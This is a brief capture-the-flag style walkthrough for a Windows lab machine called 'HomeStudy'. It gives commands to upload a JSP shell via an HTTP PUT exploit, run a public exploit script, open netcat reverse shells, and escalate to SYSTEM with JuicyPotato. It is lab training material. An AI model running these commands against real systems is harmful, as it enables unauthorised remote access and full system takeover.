| HomeStudy (.42) | |
|---|---|
| Operating System | Windows |
| Points | 20 |
| Similar Machine (User) | TryHackMe's Thompson |
| Similar Machine (Root) | HackTheBox's Bounty |

**Exploit to Getting User**

First Way

1. https://www.exploit-db.com/exploits/42953
2. curl -X PUT http://192.168.52.42:8080/shell.jsp/ -d @- < shell.jsp
3. nc -lvnp 1337
4. User Shell!

Second Way

1. https://www.exploit-db.com/exploits/42966
2. python 42966.py -u http://192.168.XX.42:8080 -p pwn
3. nc -lvnp 1337
4. User shell!

**Privilege Escalation to Root**

1. Machine is using a Windows 10 Pro and the SeImpersonatePrivilege is enabled.
2. Download JuicyPotato - https://github.com/ohpe/juicy-potato
3. Upload a netcat binary to target machine and run the command:
   echo C:\Users\Rob\Desktop\nc.exe 192.168.123.123 12345 -e cmd.exe > rev.bat
4. Setup netcat listener in your local machine
5. Go to https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Pro and copy a CLSID
6. Run JuicyPotato.exe -l 12345 -p C:\Users\Rob\Desktop\rev.bat -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
7. Root shell!